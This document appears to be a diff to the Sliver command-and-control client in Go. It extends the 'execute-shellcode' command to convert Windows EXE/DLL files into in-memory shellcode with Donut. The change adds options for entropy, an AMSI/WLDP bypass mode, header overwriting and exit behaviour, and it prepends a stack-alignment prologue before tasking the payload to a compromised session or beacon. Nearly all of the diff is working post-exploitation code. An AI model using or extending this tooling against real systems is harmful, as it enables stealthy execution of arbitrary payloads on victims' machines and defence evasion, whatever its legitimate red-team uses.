@@ -20,27 +20,44 @@ package exec
2020
2121import (
2222 "bufio"
23+ "bytes"
2324 "context"
2425 "fmt"
2526 "io"
2627 "log"
2728 "os"
29+ "path/filepath"
30+ "strings"
2831
32+ "github.com/Binject/debug/pe"
2933 "github.com/bishopfox/sliver/client/console"
3034 "github.com/bishopfox/sliver/client/core"
3135 "github.com/bishopfox/sliver/protobuf/clientpb"
3236 "github.com/bishopfox/sliver/protobuf/sliverpb"
37+ wasmdonut "github.com/sliverarmory/wasm-donut"
3338 "github.com/spf13/cobra"
3439 "golang.org/x/term"
3540 "google.golang.org/protobuf/proto"
3641)
3742
43+ const (
44+ defaultExecuteShellcodeDonutEntropy = wasmdonut .DonutEntropyNone
45+ defaultExecuteShellcodeDonutCompress = wasmdonut .DonutCompressNone
46+ defaultExecuteShellcodeDonutExitOpt = wasmdonut .DonutExitThread
47+ defaultExecuteShellcodeDonutBypass = wasmdonut .DonutBypassContinue
48+ defaultExecuteShellcodeDonutHeaders = wasmdonut .DonutHeadersOverwrite
49+ imageFileDLLMask = 0x2000
50+ )
51+
3852// ExecuteShellcodeCmd - Execute shellcode in-memory.
3953func ExecuteShellcodeCmd (cmd * cobra.Command , con * console.SliverClient , args []string ) {
4054 session , beacon := con .ActiveTarget .GetInteractive ()
4155 if session == nil && beacon == nil {
4256 return
4357 }
58+ targetName := activeTargetName (session , beacon )
59+ targetOS := activeTargetOS (session , beacon )
60+ targetArch := activeTargetArch (session , beacon )
4461
4562 rwxPages , _ := cmd .Flags ().GetBool ("rwx-pages" )
4663 interactive , _ := cmd .Flags ().GetBool ("interactive" )
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
6077 con .PrintErrorf ("Cannot use both `--pid` and `--interactive`\n " )
6178 return
6279 }
80+
81+ shellcodeConfig , shellcodeFlagsChanged , err := parseExecuteShellcodeFlags (cmd )
82+ if err != nil {
83+ con .PrintErrorf ("%s\n " , err )
84+ return
85+ }
86+
87+ shouldConvertPE , isDLLHint := shouldConvertExecuteShellcodePE (shellcodePath , shellcodeFlagsChanged )
88+ if shouldConvertPE {
89+ if targetOS != "windows" {
90+ con .PrintErrorf ("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n " )
91+ return
92+ }
93+ con .PrintInfof ("Converting PE input to shellcode ...\n " )
94+ shellcodeBin , err = donutShellcodeFromPE (shellcodeBin , targetArch , isDLLHint , shellcodeConfig )
95+ if err != nil {
96+ con .PrintErrorf ("Failed to convert PE input to shellcode: %s\n " , err )
97+ return
98+ }
99+ }
100+
63101 shikataGaNai , _ := cmd .Flags ().GetBool ("shikata-ga-nai" )
64102 if shikataGaNai {
65103 if ! rwxPages {
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
96134 return
97135 }
98136 ctrl := make (chan bool )
99- msg := fmt .Sprintf ("Sending shellcode to %s ..." , session . GetName () )
137+ msg := fmt .Sprintf ("Sending shellcode to %s ..." , targetName )
100138 con .SpinUntil (msg , ctrl )
101139 shellcodeTask , err := con .Rpc .Task (context .Background (), & sliverpb.TaskReq {
102140 Data : shellcodeBin ,
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
135173 }
136174}
137175
176+ func parseExecuteShellcodeFlags (cmd * cobra.Command ) (* clientpb.ShellcodeConfig , bool , error ) {
177+ shellcodeEntropy , _ := cmd .Flags ().GetUint32 ("shellcode-entropy" )
178+ shellcodeCompressEnabled , _ := cmd .Flags ().GetBool ("shellcode-compress" )
179+ shellcodeExitOpt , _ := cmd .Flags ().GetUint32 ("shellcode-exitopt" )
180+ shellcodeBypass , _ := cmd .Flags ().GetUint32 ("shellcode-bypass" )
181+ shellcodeHeaders , _ := cmd .Flags ().GetUint32 ("shellcode-headers" )
182+ shellcodeThread , _ := cmd .Flags ().GetBool ("shellcode-thread" )
183+ shellcodeUnicode , _ := cmd .Flags ().GetBool ("shellcode-unicode" )
184+ shellcodeOEP , _ := cmd .Flags ().GetUint32 ("shellcode-oep" )
185+
186+ anyChanged := cmd .Flags ().Changed ("shellcode-entropy" ) ||
187+ cmd .Flags ().Changed ("shellcode-compress" ) ||
188+ cmd .Flags ().Changed ("shellcode-exitopt" ) ||
189+ cmd .Flags ().Changed ("shellcode-bypass" ) ||
190+ cmd .Flags ().Changed ("shellcode-headers" ) ||
191+ cmd .Flags ().Changed ("shellcode-thread" ) ||
192+ cmd .Flags ().Changed ("shellcode-unicode" ) ||
193+ cmd .Flags ().Changed ("shellcode-oep" )
194+
195+ if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
196+ return nil , false , fmt .Errorf ("shellcode-entropy must be between 1 and 3" )
197+ }
198+ if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
199+ return nil , false , fmt .Errorf ("shellcode-exitopt must be between 1 and 3" )
200+ }
201+ if shellcodeBypass < 1 || shellcodeBypass > 3 {
202+ return nil , false , fmt .Errorf ("shellcode-bypass must be between 1 and 3" )
203+ }
204+ if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
205+ return nil , false , fmt .Errorf ("shellcode-headers must be 1 or 2" )
206+ }
207+
208+ shellcodeCompress := uint32 (1 )
209+ if shellcodeCompressEnabled {
210+ shellcodeCompress = 2
211+ }
212+
213+ return & clientpb.ShellcodeConfig {
214+ Entropy : shellcodeEntropy ,
215+ Compress : shellcodeCompress ,
216+ ExitOpt : shellcodeExitOpt ,
217+ Bypass : shellcodeBypass ,
218+ Headers : shellcodeHeaders ,
219+ Thread : shellcodeThread ,
220+ Unicode : shellcodeUnicode ,
221+ OEP : shellcodeOEP ,
222+ }, anyChanged , nil
223+ }
224+
225+ func shouldConvertExecuteShellcodePE (shellcodePath string , shellcodeFlagsChanged bool ) (bool , bool ) {
226+ ext := strings .ToLower (filepath .Ext (shellcodePath ))
227+ isPEByExt := ext == ".exe" || ext == ".dll"
228+ return isPEByExt || shellcodeFlagsChanged , ext == ".dll"
229+ }
230+
231+ func activeTargetName (session * clientpb.Session , beacon * clientpb.Beacon ) string {
232+ if session != nil {
233+ return session .GetName ()
234+ }
235+ if beacon != nil {
236+ return beacon .GetName ()
237+ }
238+ return "target"
239+ }
240+
241+ func activeTargetOS (session * clientpb.Session , beacon * clientpb.Beacon ) string {
242+ if session != nil {
243+ return strings .ToLower (session .GetOS ())
244+ }
245+ if beacon != nil {
246+ return strings .ToLower (beacon .GetOS ())
247+ }
248+ return ""
249+ }
250+
251+ func activeTargetArch (session * clientpb.Session , beacon * clientpb.Beacon ) string {
252+ if session != nil {
253+ return session .GetArch ()
254+ }
255+ if beacon != nil {
256+ return beacon .GetArch ()
257+ }
258+ return ""
259+ }
260+
261+ type executeShellcodeDonutOptions struct {
262+ entropy int
263+ compress int
264+ exitOpt int
265+ bypass int
266+ headers int
267+ thread bool
268+ unicode bool
269+ oep uint32
270+ }
271+
272+ func normalizeExecuteShellcodeDonutConfig (config * clientpb.ShellcodeConfig ) executeShellcodeDonutOptions {
273+ opts := executeShellcodeDonutOptions {
274+ entropy : defaultExecuteShellcodeDonutEntropy ,
275+ compress : defaultExecuteShellcodeDonutCompress ,
276+ exitOpt : defaultExecuteShellcodeDonutExitOpt ,
277+ bypass : defaultExecuteShellcodeDonutBypass ,
278+ headers : defaultExecuteShellcodeDonutHeaders ,
279+ }
280+ if config == nil {
281+ return opts
282+ }
283+ if config .Entropy >= 1 && config .Entropy <= 3 {
284+ opts .entropy = int (config .Entropy )
285+ }
286+ if config .Compress >= 1 && config .Compress <= 2 {
287+ opts .compress = int (config .Compress )
288+ }
289+ if config .ExitOpt >= 1 && config .ExitOpt <= 3 {
290+ opts .exitOpt = int (config .ExitOpt )
291+ }
292+ if config .Bypass >= 1 && config .Bypass <= 3 {
293+ opts .bypass = int (config .Bypass )
294+ }
295+ if config .Headers >= 1 && config .Headers <= 2 {
296+ opts .headers = int (config .Headers )
297+ }
298+ opts .thread = config .Thread
299+ opts .unicode = config .Unicode
300+ if config .OEP > 0 {
301+ opts .oep = config .OEP
302+ }
303+ return opts
304+ }
305+
306+ func donutShellcodeFromPE (data []byte , arch string , isDLLHint bool , config * clientpb.ShellcodeConfig ) ([]byte , error ) {
307+ peFile , err := pe .NewFile (bytes .NewReader (data ))
308+ if err != nil {
309+ return nil , err
310+ }
311+ isDLL := isDLLHint || ((peFile .FileHeader .Characteristics & imageFileDLLMask ) != 0 )
312+ ext := ".exe"
313+ if isDLL {
314+ ext = ".dll"
315+ }
316+ opts := normalizeExecuteShellcodeDonutConfig (config )
317+ result , err := wasmdonut .Generate (context .Background (), data , ext , wasmdonut.GenerateOptions {
318+ Ext : ext ,
319+ Arch : getExecuteShellcodeDonutArch (arch ),
320+ Bypass : opts .bypass ,
321+ Headers : opts .headers ,
322+ Entropy : opts .entropy ,
323+ Compress : opts .compress ,
324+ ExitOpt : opts .exitOpt ,
325+ Thread : opts .thread ,
326+ Unicode : opts .unicode ,
327+ OEP : opts .oep ,
328+ })
329+ if err != nil {
330+ return nil , err
331+ }
332+ return addExecuteShellcodeStackCheck (result .Loader ), nil
333+ }
334+
335+ func getExecuteShellcodeDonutArch (arch string ) int {
336+ donutArch := wasmdonut .DonutArchX84
337+ switch strings .ToLower (arch ) {
338+ case "x32" , "x86" , "386" :
339+ donutArch = wasmdonut .DonutArchX86
340+ case "x64" , "amd64" :
341+ donutArch = wasmdonut .DonutArchX64
342+ case "x84" :
343+ donutArch = wasmdonut .DonutArchX84
344+ }
345+ return donutArch
346+ }
347+
348+ func addExecuteShellcodeStackCheck (shellcode []byte ) []byte {
349+ stackCheckPrologue := []byte {
350+ 0x48 , 0x83 , 0xE4 , 0xF0 , // and rsp,0xfffffffffffffff0
351+ 0x48 , 0x83 , 0xC4 , 0x08 , // add rsp,0x8
352+ }
353+ return append (stackCheckPrologue , shellcode ... )
354+ }
355+
138356func executeInteractive (cmd * cobra.Command , hostProc string , shellcode []byte , rwxPages bool , con * console.SliverClient ) {
139357 // Check active session
140358 session := con .ActiveTarget .GetSessionInteractive ()
0 commit comments